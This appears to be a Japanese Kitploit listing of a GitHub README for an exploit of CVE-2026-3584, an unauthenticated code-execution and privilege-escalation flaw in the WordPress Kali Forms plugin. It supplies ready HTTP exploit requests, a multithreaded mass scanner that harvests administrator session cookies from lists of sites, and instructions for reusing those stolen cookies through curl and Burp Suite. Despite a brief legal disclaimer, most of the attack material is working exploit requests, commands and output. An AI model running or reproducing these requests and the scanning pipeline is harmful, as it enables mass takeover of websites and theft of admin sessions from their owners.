Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-3584 — CVE-2026-3584 | Kitploit
ツール/GitHubGitHub/yucaerin/cve-2026-3584
特権昇格偵察脆弱性スキャナーエクスプロイトウェブアプリケーション悪用情報収集ペネトレーションテストペイロード開発
GitHubyucaerin/cve-2026-3584

CVE-2026-3584

CVE-2026-3584

リポジトリを見る
34ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-3584 – WordPress Kali Forms <= 2.4.9 - 未認証のリモートコード実行 (form_process 経由)

🔥 脆弱性の概要

WordPress プラグイン Kali Forms バージョン <= 2.4.9 には、未認証のリモートコード実行 (RCE) という深刻な脆弱性が存在します。この欠陥により、未認証の攻撃者 がサーバー上で任意の PHP コードを実行し、完全な管理者権限 を取得できます。これは、認証確認なしに公開されている AJAX エンドポイント kaliforms_form_process を介して行われます。

脆弱性は form_process 関数にあり、ユーザー制御のパラメータ(thisPermalink や entryCounter を含む)を受け入れ、任意の PHP コールバックを実行することで、以下を引き起こします:

  • リモートコード実行 (RCE):phpinfo()、system()、eval() などを使用
  • 権限昇格:wp_set_auth_cookie() による管理セッションの取得

🔍 脆弱なプラグイン

  • プラグイン名: Kali Forms – WordPress Form Builder
  • 脆弱なバージョン: <= 2.4.9
  • 脆弱性の種類: 未認証のリモートコード実行 + 権限昇格
  • CVE ID: CVE-2026-3584
  • CVSS スコア: 10.0 (Critical)
  • 影響: サイト全体の侵害、管理アクセス、永続化
  • リンク: https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/kali-forms/kali-forms-249-unauthenticated-remote-code-execution-via-form-process

🐛 脆弱性の仕組み

バグの技術的分析

脆弱性は Kali Forms プラグインの form_process 関数に現れ、AJAX リクエストを処理します。脆弱なコードは以下のように公開されています:

root@kitploit:~
// 認証なしでアクセス可能な AJAX エンドポイント
add_action('wp_ajax_nopriv_kaliforms_form_process', array($this, 'form_process'));

エクスプロイトの流れ:

  1. 保護されていないエンドポイント: エンドポイント /wp-admin/admin-ajax.php?action=kaliforms_form_process は、wp_ajax_nopriv_ フックにより未認証ユーザーがアクセス可能です。

  2. ユーザー制御可能なパラメータ:

    • data[thisPermalink] - 任意の PHP 関数名を含むことができる
    • data[entryCounter] - 任意の PHP 関数名を含むことができる
    • data[formId] - 処理するフォームの ID
  3. フィルタリングされていないコールバックの実行: 脆弱なコードは検証なしで PHP コールバックを実行します:

    root@kitploit:~
    $callback = $_POST['data']['thisPermalink'];
    call_user_func($callback);  // チェックなし!
    
  4. エクスプロイトチェーン:

    root@kitploit:~
    攻撃者 → POST リクエスト → kaliforms_form_process
         ↓
    thisPermalink=phpinfo → call_user_func('phpinfo')
         ↓
    PHP コード実行 → phpinfo() が実行される
         ↓
    entryCounter=wp_set_auth_cookie → 管理者クッキーが生成される
         ↓
    完全な管理者アクセス
    

脆弱なリクエストの例:

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

action=kaliforms_form_process&
data[formId]=1&
data[nonce]=abc123&
data[thisPermalink]=phpinfo&
data[email][email protected]

結果: サーバーは phpinfo() を実行し、PHP 設定の完全な情報を返します。

権限昇格のために:

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

action=kaliforms_form_process&
data[formId]=1&
data[nonce]=abc123&
data[entryCounter]=wp_set_auth_cookie&
data[email][email protected]

結果: WordPress は wp_set_auth_cookie(user_id) を実行します。user_id は多くの場合 formId に対応し、有効な管理者セッションクッキーを生成します。


🛡 マススキャナー - 動作の仕組み

スキャナーのアーキテクチャ

mass_scanner.py は、CVE-2026-3584 脆弱性を完全に悪用するための 4 フェーズからなる自動化パイプラインを実装しています:

root@kitploit:~
┌─────────────────────────────────────────────────────────────────────────┐
│                    MASS SCANNER PIPELINE                                │
├─────────────────────────────────────────────────────────────────────────┤
│                                                                         │
│  フェーズ 1: REST API の偵察                                           │
│  ├─ ユーザーの列挙: /wp-json/wp/v2/users                               │
│  └─ 投稿の列挙: /wp-json/wp/v2/posts                                   │
│      → 権限昇格用に user_id と post_id を特定                           │
│                                                                         │
│  フェーズ 2: フォームの発見                                             │
│  ├─ サイトのクロール (depth=2)                                          │
│  ├─ パターン検索: 'KaliFormsObject', 'kaliforms'                        │
│  ├─ JavaScript から nonce を抽出                                        │
│  └─ HTML から formId を抽出                                             │
│      → すべての脆弱な Kali Forms フォームを発見                         │
│                                                                         │
│  フェーズ 3: RCE テスト                                                 │
│  ├─ 送信: data[thisPermalink]=phpinfo                                   │
│  ├─ 確認: レスポンス内の 'PHP Version'                                  │
│  └─ 保存: result/target_phpinfo.html                                    │
│      → リモートコード実行を確認                                         │
│                                                                         │
│  フェーズ 4: 権限昇格                                                   │
│  ├─ 送信: data[entryCounter]=wp_set_auth_cookie                        │
│  ├─ 抽出: wordpress_logged_in + wordpress_sec cookies                   │
│  ├─ 確認: /wp-admin/ へのアクセスがリダイレクトなし                     │
│  └─ 保存: result_cookie/target.txt                                      │
│      → 完全な管理者アクセスを取得                                       │
│                                                                         │
└─────────────────────────────────────────────────────────────────────────┘

実装の技術的詳細

1. URL の自動正規化

root@kitploit:~
def normalize_url(self, target):
    # 自動的に http:// または https:// を追加
    # まず HTTPS を試し、フォールバックで HTTP
    # カスタムポート(例 :8080)に対応

2. REST API の列挙

root@kitploit:~
def enumerate_users_api(self, target):
    # GET /wp-json/wp/v2/users
    # 利用可能なすべての user_id を抽出
    # formId → user_id のマッピングに使用
    
def enumerate_posts_api(self, target):
    # GET /wp-json/wp/v2/posts
    # 利用可能なすべての post_id を抽出
    # user_id/post_id の重複を特定

3. フォームの発見 (インテリジェントクローリング)

root@kitploit:~
def discover_pages(self, target, max_depth=2):
    # サイトの再帰的クロール
    # JavaScript パターン 'KaliFormsObject' を検索
    # 不要な URL (js, css, 画像) をフィルタリング
    # 内部リンクのみをフォロー
    # Kali Forms を含むページのリストを返す

4. フォームデータの抽出

root@kitploit:~
def extract_form_data(self, page_url):
    # JavaScript から nonce を抽出:
    #   KaliFormsObject = { ajax_nonce: "abc123" }
    # HTML から formId を抽出:
    #   data-id="1" または [kaliform id="1"]
    # nonce が見つかったが formId がない場合:
    #   ID 1-10 をブルートフォース

5. RCE テスト

root@kitploit:~
def test_rce(self, target, form_id, nonce):
    # POST /wp-admin/admin-ajax.php
    # ペイロード: data[thisPermalink]=phpinfo
    # 確認: len(response) > 10000 かつ 'PHP Version' が存在
    # 完全な HTML を分析用に保存

6. 権限昇格テスト

root@kitploit:~
def test_privilege_escalation_fast(self, target, nonce, user_ids, post_ids):
    # インテリジェント戦略:
    # 1. user_id/post_id の重複を検索
    # 2. 成功率の高い ID からテスト
    # 3. 一般的な ID にフォールバック: 1,2,3,4,5
    
    # 各候補 formId に対して:
    # POST data[entryCounter]=wp_set_auth_cookie
    # クッキーを抽出: wordpress_logged_in + wordpress_sec
    # 確認: GET /wp-admin/ → リダイレクトなし
    # チェック: レスポンス内の 'dashboard'

7. マルチスレッド

root@kitploit:~
# 並列処理のための ThreadPoolExecutor
# 結果書き込みのためのスレッドセーフロック
# リアルタイム保存 (append モード)
# 同期によるグローバル統計

8. 自動バックアップシステム

root@kitploit:~
def backup_previous_results(self):
    # 各スキャンの前:
    # result_phpinfo.txt → result_phpinfo.txt.20260325_120000.backup
    # result/ → result.20260325_120000.backup/
    # result_cookie/ → result_cookie.20260325_120000.backup/
    # 過去のデータをすべて保存

🚀 マススキャナーの使用方法

必要条件

root@kitploit:~
pip3 install requests beautifulsoup4

ターゲットファイルの準備

targets.txt ファイルを作成し、1行に1つのターゲット(http/https は任意):

root@kitploit:~
example.com
wordpress.site
192.168.1.100
http://blog.example.org
https://secure.site.com:8080

基本実行

root@kitploit:~
# デフォルト設定でのスキャン (20スレッド)
python3 mass_scanner.py targets.txt

# カスタムスレッド数でのスキャン
python3 mass_scanner.py -t 10 targets.txt

# 最大スレッド数でのスキャン
python3 mass_scanner.py --threads 50 targets.txt

スキャン中の出力

root@kitploit:~
======================================================================
スキャナー - CVE-2026-3584 完全パイプライン
======================================================================
ターゲット数: 100
スレッド数:    20
パイプライン:  偵察 → フォーム発見 → RCE → 権限昇格
======================================================================

[*] 前回の結果を保存しました: result_phpinfo.txt.20260325_120000.backup

[04:38:28] [INFO] https://target1.com: スキャン開始...
[04:38:28] [INFO] https://target1.com: フェーズ 1: REST API 列挙...
[04:38:29] [INFO] https://target1.com: API 経由で 3 ユーザー発見
[04:38:29] [INFO] https://target1.com: API 経由で 5 投稿発見
[04:38:29] [INFO] https://target1.com: フェーズ 2: フォーム発見...
[04:38:31] [INFO] https://target1.com: フォームを含む 8 ページ発見
[04:38:31] [INFO] https://target1.com: フェーズ 3: RCE テスト...
[04:38:31] [INFO] https://target1.com: フォーム [1, 2, 3] を nonce 46aedbd3 でテスト中...
[04:38:32] [SUCCESS] https://target1.com: フォーム 1 で RCE 成功!
[04:38:32] [INFO] https://target1.com: phpinfo を result/target1.com_form1_phpinfo.html に保存
[04:38:32] [INFO] https://target1.com: フェーズ 4: 権限昇格テスト...
[04:38:33] [CRITICAL] https://target1.com: formId=1 で権限昇格成功!
[04:38:33] [INFO] https://target1.com: クッキーを result_cookie/target1.com.txt に保存

[04:38:35] [INFO] https://target2.com: スキャン開始...
[04:38:36] [INFO] https://target2.com: フェーズ 1: REST API 列挙...
[04:38:37] [WARN] https://target2.com: Kali Forms が見つかりません
...

======================================================================
スキャン統計
======================================================================
総ターゲット数:     100
スキャン完了:        100
脆弱性あり:         45
  - RCE のみ:       10
  - 権限昇格 (CVSS10): 35
失敗:                55
======================================================================

結果の保存場所:
  - result_phpinfo.txt        (RCE 成功)
  - result_yes_all.txt (RCE + 権限昇格)
  - result/*.html             (phpinfo 出力)
  - result_cookie/*.txt       (管理者クッキー付き HTTP リクエスト)
======================================================================

ログレベルの解釈

  • [INFO] - スキャンの進行状況に関する一般情報
  • [SUCCESS] - RCE 確認、コード実行成功
  • [CRITICAL] - 権限昇格成功、管理者アクセス取得
  • [WARN] - ターゲットが脆弱でない、またはフォームが見つからない
  • [ERROR] - スキャン中のエラー(タイムアウト、接続など)

結果の構造

root@kitploit:~
/root/
├── result_phpinfo.txt                 # RCE 確認済みターゲットのリスト
├── result_yes_all.txt          # 完全な管理者アクセスがあるターゲットのリスト
├── result/                            # 詳細な phpinfo HTML ファイル
│   ├── target1.com_form1_phpinfo.html
│   ├── target2.org_form2_phpinfo.html
│   └── ...
└── result_cookie/                     # 管理者クッキー付き HTTP リクエスト
    ├── target1.com.txt
    ├── target2.org.txt
    └── ...

result_phpinfo.txt の形式

root@kitploit:~
https://target1.com | フォーム: https://target1.com/contact | フォーム ID: 1 | Nonce: 46aedbd358 | ファイル: result/target1.com_form1_phpinfo.html
https://target2.org | フォーム: https://target2.org/form | フォーム ID: 2 | Nonce: abc123def4 | ファイル: result/target2.org_form2_phpinfo.html

result_yes_all.txt の形式

root@kitploit:~
======================================================================
ターゲット: https://target1.com
タイムスタンプ: 2026-03-25T04:38:33.123456
======================================================================
RCE: 成功
  フォーム URL: https://target1.com/contact
  フォーム ID: 1
  Nonce: 46aedbd358
  phpinfo: result/target1.com_form1_phpinfo.html

権限昇格: 成功 (CVSS 10.0)
  エクスプロイト formId: 1
  クッキー: wordpress_logged_in_xxx=...; wordpress_sec_xxx=...
  クッキーファイル: result_cookie/target1.com.txt
  影響: 完全な管理者アクセス

悪用コマンド:
  RCE テスト:
    python3 baru_cve_nih.py https://target1.com/contact 1 46aedbd358

  権限昇格:
    python3 POC_privilege_escalation_v3.py https://target1.com 46aedbd358

======================================================================

result_cookie/target.txt の形式

root@kitploit:~
GET /wp-admin/ HTTP/1.1
Host: target.com
Cookie: wordpress_logged_in_xxx=admin%7C1774600707%7C...; wordpress_sec_xxx=admin%7C1774600707%7C...
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: it,en-US;q=0.9,en;q=0.8
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive

この形式は、Burp Suite Repeater に直接コピー&ペーストするか、curl で使用できるようになっています。

管理者クッキーの使用方法

方法 1: curl でのテスト

root@kitploit:~
# ファイルからクッキーを抽出
COOKIE=$(grep "^Cookie:" result_cookie/target.com.txt | sed 's/^Cookie: //')

# 管理者アクセスをテスト
curl -H "Cookie: $COOKIE" https://target.com/wp-admin/ | grep -i dashboard

# 出力に "Dashboard" が含まれていれば → クッキーは有効!

方法 2: Burp Suite での使用

root@kitploit:~
# 手順 1: 自動設定の生成(オプション)
./burp_config_gen.sh result_cookie/target.com.txt

# 手順 2: Burp Suite → Proxy → Options → Match and Replace → Add

# 手順 3: 設定:
Type:    Request header
Match:   ^Cookie:.*$
Replace: Cookie: [ファイルからクッキーを貼り付け]
☑ Regex match

# 手順 4: ルールを有効化 (checkbox)

# 手順 5: https://target.com/wp-admin/ に移動

# 結果: 即座に管理者アクセス

リアルタイム監視

スキャン中、結果をリアルタイムで監視できます:

root@kitploit:~
# ターミナル 1: スキャナーを実行
python3 mass_scanner.py targets.txt

# ターミナル 2: RCE 結果を監視
watch -n 2 'tail -20 result_phpinfo.txt'

# ターミナル 3: 権限昇格結果を監視
watch -n 2 'tail -20 result_yes_all.txt'

# ターミナル 4: 脆弱性のあるターゲットをカウント
watch -n 5 'echo "RCE: $(wc -l < result_phpinfo.txt) | 管理者: $(grep -c "ESCALATION PRIVILEGI: SUCCESSO" result_yes_all.txt)"'

自動バックアップ

新しいスキャンごとに、スキャナーは前回の結果を自動的にバックアップします:

root@kitploit:~
スキャン 1: [12:00]
  result_phpinfo.txt
  result_yes_all.txt
  result/
  result_cookie/

スキャン 2: [13:00] - 自動バックアップ!
  [*] 前回の結果を保存しました: result_phpinfo.txt.20260325_120000.backup
  [*] 前回の結果を保存しました: result_yes_all.txt.20260325_120000.backup
  [*] 前回の phpinfo ファイルを保存しました: result.20260325_120000.backup/
  [*] 前回のクッキーファイルを保存しました: result_cookie.20260325_120000.backup/

すべての過去データはタイムスタンプ付きで保存されます!

パフォーマンスの最適化

推奨スレッド数:

root@kitploit:~
# 高速ネットワーク、多数のターゲット
python3 mass_scanner.py -t 50 targets.txt

# 中程度のネットワーク、適度なターゲット
python3 mass_scanner.py -t 20 targets.txt  # (デフォルト)

# 低速ネットワーク、または少数のターゲット
python3 mass_scanner.py -t 10 targets.txt

# 単一テスト (デバッグ)
python3 mass_scanner.py -t 1 targets.txt

期待されるパフォーマンス:

  • 20 スレッド: 約 500-1000 ターゲット/時間 (ネットワーク依存)
  • 50 スレッド: 約 1000-2000 ターゲット/時間 (タイムアウトリスク増加)
  • 10 スレッド: 約 300-500 ターゲット/時間 (より安定)

一般的な問題の解決

問題:脆弱なターゲットが見つからない

root@kitploit:~
# サイトが Kali Forms を持っているか手動確認
curl -s https://target.com | grep -i "kaliforms"

# 見つかった場合、手動で nonce を抽出
curl -s https://target.com | grep -i "KaliFormsObject"

問題:頻繁なタイムアウト

root@kitploit:~
# スレッド数を減らす
python3 mass_scanner.py -t 5 targets.txt

# またはコード内のタイムアウトを修正 (timeout=10 → timeout=30)

問題:クッキーが機能しない

root@kitploit:~
# クッキーの有効性を確認
python3 test_burp_persistent.sh http://target.com

# 失敗した場合、クッキーを再生成:
python3 get_fresh_admin_cookie.py http://target.com [NONCE]

🔒 法的注意事項

⚠️ 重要:

これらの情報およびツールは、教育目的および許可されたセキュリティテスト専用 として提供されています。

  • ✅ 合法的な使用: 許可された侵入テスト、セキュリティ研究、トレーニング
  • ❌ 違法な使用: システムへの不正アクセス、許可のないサイトの侵害

コンピュータシステムへの不正アクセスまたは不正使用は、違法かつ非倫理的です。

このリポジトリの作成者および貢献者は、これらのツールの不正使用またはそれによって生じた損害について一切の責任を負いません。ユーザーは、システムをテストする前に適切な許可を得る責任があります。

責任を持って使用し、明示的な書面による許可がある場合のみ使用してください。


📚 参考情報

CVE およびアドバイザリ:

  • CVE-2026-3584: Kali Forms RCE および権限昇格
  • リンク:https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/kali-forms/kali-forms-249-unauthenticated-remote-code-execution-via-form-process
  • CVSS スコア:10.0 (Critical)
  • CWE-94: コード生成の不適切な制御 ('コードインジェクション')
  • CWE-862: 認可の欠如

脆弱なプラグイン:

  • 名前: Kali Forms – WordPress Form Builder
  • スラッグ: kaliforms
  • リポジトリ:https://wordpress.org/plugins/kaliforms/
  • 脆弱なバージョン: <= 2.4.9

CVE-2026-3584 | Kali Forms <= 2.4.9 | CVSS 10.0 Critical

セキュリティ研究 | 責任ある悪用 | 情報セキュリティ教育

ツールをダウンロード